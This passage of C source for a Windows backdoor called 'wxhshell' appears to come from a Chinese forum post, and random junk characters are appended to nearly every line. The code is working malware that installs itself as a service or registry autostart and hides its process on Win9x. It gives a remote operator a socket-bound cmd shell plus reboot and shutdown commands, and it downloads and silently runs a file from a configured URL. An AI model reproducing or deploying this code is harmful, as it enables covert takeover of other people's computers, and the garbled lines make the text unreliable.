  case '?': { !AG oI7W}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q$Rp?o&  
    break; MkWbPm)  
  } p*l=rni4  
  // 安装 S{Zf}8?6$  
  case 'i': { iI3,q-LA  
    if(Install()) Z`#XB2,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G[=;519  
    else  tYG6Gl  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); = toU?:.  
    break; 2J (nJT"  
    } )6%a9&~H  
  // 卸载 }@~+%_;  
  case 'r': { ]TN/n%\  
    if(Uninstall()) /4}y2JVv)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cUO$IR)yL  
    else \}AJ)v*<  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $wbIe"|  
    break; y,K> Wb9e  
    } FD5OO;$  
  // 显示 wxhshell 所在路径 >3}N;  
  case 'p': { /]of @  
    char svExeFile[MAX_PATH]; ^a$L9p(  
    strcpy(svExeFile,"\n\r"); Fzt7@VNxc  
      strcat(svExeFile,ExeFile); $-.*8*9  
        send(wsh,svExeFile,strlen(svExeFile),0); TPLv]$n  
    break; O)"Z%B  
    } 39d$B'"<1  
  // 重启 6n;? :./  
  case 'b': { g1 =>u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); nW`] =  
    if(Boot(REBOOT)) ^V7)V)Z;0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |pBvy1e4)  
    else { P0RtS1A  
    closesocket(wsh); >Bu _NoM  
    ExitThread(0); wxN&k$`a  
    } `|PhXr  
    break; NN5G '|i  
    } 0Hx'C^m72  
  // 关机 5RP5%U  
  case 'd': { E,fbIyX  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qTN30(x2  
    if(Boot(SHUTDOWN)) E= .clA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +:W?:\  
    else { A-*MH#QUKh  
    closesocket(wsh); )-h{0o  
    ExitThread(0); 7I*rtc&Kb  
    } N4b{^JkF  
    break; DR]4Tcz#  
    } S]A[eUF~  
  // 获取shell pD }b$  
  case 's': { TmK8z  
    CmdShell(wsh); ?A04qk  
    closesocket(wsh); qE8Di\?  
    ExitThread(0); h,6> ^A  
    break; SwaMpNXL  
  } phB d+zQc  
  // 退出 m_FTg)_=  
  case 'x': { 7PwH&rI  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Ocz21gl-?`  
    CloseIt(wsh); *_]fe&s=%  
    break; $.31<@T7  
    } )<Mo.  
  // 离开 r%>EiHpCU  
  case 'q': { vu&ny&=`  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [^XD @  
    closesocket(wsh); $`R=Q  
    WSACleanup(); U[:=7UABU?  
    exit(1); +{}p(9w@  
    break; [&l+Ve(  
        } 4q(,uk&R[  
  } zy.v[Y1!  
  } .-[]po  
1#8~@CQ ::  
  // 提示信息 {Z1-B60P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %d<UMbS^  
} LR'~:46#u  
  } ,Ek6X)|@  
WI.+9$1:P  
  return; %IDl+_j  
} (`u+(M!^  
.4[M-@4+]  
// shell模块句柄 2/Ye<.#  
int CmdShell(SOCKET sock) >h~>7i(A  
{ wM#l`I  
STARTUPINFO si; 3>=G-AH/$K  
ZeroMemory(&si,sizeof(si)); SpOSUpl%  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %e_){28 n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Mc,p]{<<AV  
PROCESS_INFORMATION ProcessInfo; b,'rz04^  
char cmdline[]="cmd"; QUg<~q)Oq  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Hl*#iUq  
  return 0; lTFo#p_(  
} "{d[V(lE"  
7M_GGjP  
// 自身启动模式 \jS^+Xf?^  
int StartFromService(void) f# hmMa  
{ s?fEorG  
typedef struct W)Y:2P<.  
{ uC6e2py<[  
  DWORD ExitStatus; 2z1r|?l  
  DWORD PebBaseAddress; Ik@MIxLK  
  DWORD AffinityMask; KXUJ*l-5  
  DWORD BasePriority; ju4wU; Nu  
  ULONG UniqueProcessId; {UF|-VaG  
  ULONG InheritedFromUniqueProcessId; RB;2  
}   PROCESS_BASIC_INFORMATION; pW>.3pj  
:5jor Vu  
PROCNTQSIP NtQueryInformationProcess; 23opaX5V=  
5d}bl{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,4}s 1J#  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; p%/lP{  
2uMSeSx$  
  HANDLE             hProcess; :U]Pm:ivTU  
  PROCESS_BASIC_INFORMATION pbi; |HPb$#i  
mXM U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nov An+  
  if(NULL == hInst ) return 0; V;P*/ke  
c:s[vghH^#  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6 \ %#=GG  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ZW 5FL-I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nE :Wl  
=,08D^xY  
  if (!NtQueryInformationProcess) return 0; Tc|+:Usy  
~dLe9-_9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ?3i<^@?  
  if(!hProcess) return 0; 5"+;}E|q  
dbF9%I@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5j _[z|W2  
ZJ[p7XP  
  CloseHandle(hProcess); "L9pFz</  
U]ZI_[\'U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); \tdYTb.  
if(hProcess==NULL) return 0; '[bw7T  
"tj]mij2)G  
HMODULE hMod; [.;8GMW  
char procName[255]; clM6R  
unsigned long cbNeeded; -&QpQ7q1  
h9~oS/%:  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;:bnLSPo  
$us7fuKE  
  CloseHandle(hProcess); lH"VLO2l  
mk6>}z*  
if(strstr(procName,"services")) return 1; // 以服务启动 <u  
D@k#'KU  
  return 0; // 注册表启动 '2{60t_A  
} (&/~q:a>   
j3>&Su>H4  
// 主模块 4*UKR!sr  
int StartWxhshell(LPSTR lpCmdLine) R]o2_r7N"}  
{ q-e3;$  
  SOCKET wsl; CZ(fP86e  
BOOL val=TRUE; T\Jm=+]c!  
  int port=0; Owh:(EJ"d  
  struct sockaddr_in door; 7}tXF  
\x"BgLSE  
  if(wscfg.ws_autoins) Install(); <V#]3$(S  
#O7phjzgD  
port=atoi(lpCmdLine); @j%7tfW  
xI~c~KC  
if(port<=0) port=wscfg.ws_port; +.X3&|@k  
p,\(j  
  WSADATA data; ;|oem\dKv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <_4'So>  
_ n4C~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xB}B1H%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YH-W{].  
  door.sin_family = AF_INET; qc6d,z/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qaiqx"x3  
  door.sin_port = htons(port); =DI/|^j{ ;  
;]2d%Qt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Nh6!h%  
closesocket(wsl); x0xQFlGk  
return 1; IN"6 =2:  
} i\{fM}~W$  
SqoO"(1x  
  if(listen(wsl,2) == INVALID_SOCKET) { eW[](lGWM  
closesocket(wsl); )U{IQE;T#  
return 1; AQ,%5MeqJ  
} w X.]O!^X~  
  Wxhshell(wsl); `V?NS,@$  
  WSACleanup(); ")W5`9  
y"ms;w'z  
return 0; u/5)Yx+5_  
r<"k /  
} p Acu{5#7  
~B`H5#  
// 以NT服务方式启动 1*B'o<?P1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) UR[UZ4G  
{ =AeOkie  
DWORD   status = 0; No]#RvEd3  
  DWORD   specificError = 0xfffffff; oCB#i~|>a  
w5a;ts_x  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <@qJsRbhK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h9+ 7 6  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <{.pYrn  
  serviceStatus.dwWin32ExitCode     = 0; H`T}k+e2-N  
  serviceStatus.dwServiceSpecificExitCode = 0; JiiYl&#  
  serviceStatus.dwCheckPoint       = 0; /tqe:*  
  serviceStatus.dwWaitHint       = 0; $XrX(l5  
Y,X0x-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \~""<*Hz  
  if (hServiceStatusHandle==0) return; lq)[  
cUU"*bA#  
status = GetLastError(); 7i9wfc h$U  
  if (status!=NO_ERROR) \}7xgQ>oV  
{ >+*lG>!z  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GUsJF;;V  
    serviceStatus.dwCheckPoint       = 0; Oi~.z@@  
    serviceStatus.dwWaitHint       = 0; !Ee&e~"  
    serviceStatus.dwWin32ExitCode     = status; D*)"?L G  
    serviceStatus.dwServiceSpecificExitCode = specificError; 6,skF^   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); QQUZneIDp  
    return; 2%j"E{J&  
  } QH6_nZY  
,uS}wJAX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !]#;'  
  serviceStatus.dwCheckPoint       = 0; E1|:t$>Ld  
  serviceStatus.dwWaitHint       = 0; r5uX?^mJ0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .Kk'N  
} .vpx@_;]9  
LLwC*)#  
// 处理NT服务事件,比如:启动、停止 3 n1 > +8  
VOID WINAPI NTServiceHandler(DWORD fdwControl) }/F9(m  
{ k i{8f  
switch(fdwControl) }yM!o`90  
{ nkz^^q`5l7  
case SERVICE_CONTROL_STOP: S!7|vb*ko  
  serviceStatus.dwWin32ExitCode = 0; t` zPx#])  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `w% Qs)2  
  serviceStatus.dwCheckPoint   = 0; FdMTc(>  
  serviceStatus.dwWaitHint     = 0; e:=+~F(f  
  { .OD{^Kq2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?/Z5%?6  
  } (APGz,^9#  
  return;  6Xt c3  
case SERVICE_CONTROL_PAUSE: $`Aps7A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; q]m$%>  
  break; Iyt.`z  
case SERVICE_CONTROL_CONTINUE: !Bb^M3iA  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ngH_p>  
  break; S{qsq\X  
case SERVICE_CONTROL_INTERROGATE: ^1[u'DW4  
  break; 6 kAXE\T  
}; s!/Q>A  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s C?-L  
} \v([,tiW%  
/@K1"/fqH  
// 标准应用程序主函数 o,=dm@j  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &y:SK)  
{ 6>/g`%`N  
e}W|wJ):j@  
// 获取操作系统版本 MrpT5|t  
OsIsNt=GetOsVer();  76EMS?e  
GetModuleFileName(NULL,ExeFile,MAX_PATH); >3y:cPTM5  
!a9/8U_>XF  
  // 从命令行安装 >66v+  
  if(strpbrk(lpCmdLine,"iI")) Install(); @Yh%.#\i%  
&, WQr  
  // 下载执行文件 }%k 3  
if(wscfg.ws_downexe) { %ZJ;>a#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $U}GX'1LZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); bF? {  
} O.OSLezTQ  
&e1(|qax  
if(!OsIsNt) { Z=>#|pW,)  
// 如果时win9x,隐藏进程并且设置为注册表启动 EB[B0e 7}  
HideProc(); lag%} ^  
StartWxhshell(lpCmdLine); 47 9yG/+\  
} g2GHsVS  
else c=~FXV!  
  if(StartFromService()) Vw b6QIs  
  // 以服务方式启动 /}RW~ax  
  StartServiceCtrlDispatcher(DispatchTable); $rmfE  
else @# &y  
  // 普通方式启动 mdukl!_x  
  StartWxhshell(lpCmdLine); f#zm}+,`  
DbvKpM H  
return 0; ^EmI;ks  
}
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只看该作者 1 发表于: 2006-10-10
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